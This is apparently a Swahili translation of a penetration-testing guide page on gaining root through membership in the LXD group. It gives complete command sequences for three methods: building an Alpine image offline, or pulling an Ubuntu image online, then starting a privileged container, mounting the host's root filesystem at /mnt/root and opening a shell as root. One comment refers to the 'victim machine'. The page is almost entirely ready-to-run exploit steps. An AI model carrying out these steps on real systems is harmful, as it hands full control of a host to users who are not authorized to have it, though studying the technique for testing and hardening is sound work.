Kudukua bila kuwa na intaneti

Njia ya 1

Unaweza kusakinisha kwenye kifaa chako kujenga distro hii: https://github.com/lxc/distrobuilder (fuata maagizo ya github):

sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

Pakua faili lxd.tar.xz na rootfs.squashfs, ongeza picha kwenye repo na jenga chombo:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

{% hint style="danger" %} Ikiwa utapata kosa hili Kosa: Hakuna hifadhi ya kuhifadhi iliyopatikana. Tafadhali tengeneza hifadhi mpya
Chukua lxd init na rudia kipande cha amri kilichopita {% endhint %}

Hatimaye unaweza kutekeleza chombo na kupata mizizi:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Njia ya 2

Jenga picha ya Alpine na anza kuitumia kwa kutumia bendera security.privileged=true, ikilazimisha chombo kuingiliana kama root na mfumo wa faili wa mwenyeji.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Badala yake https://github.com/initstring/lxd_root

Pamoja na intaneti

Unaweza kufuata maagizo haya.

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
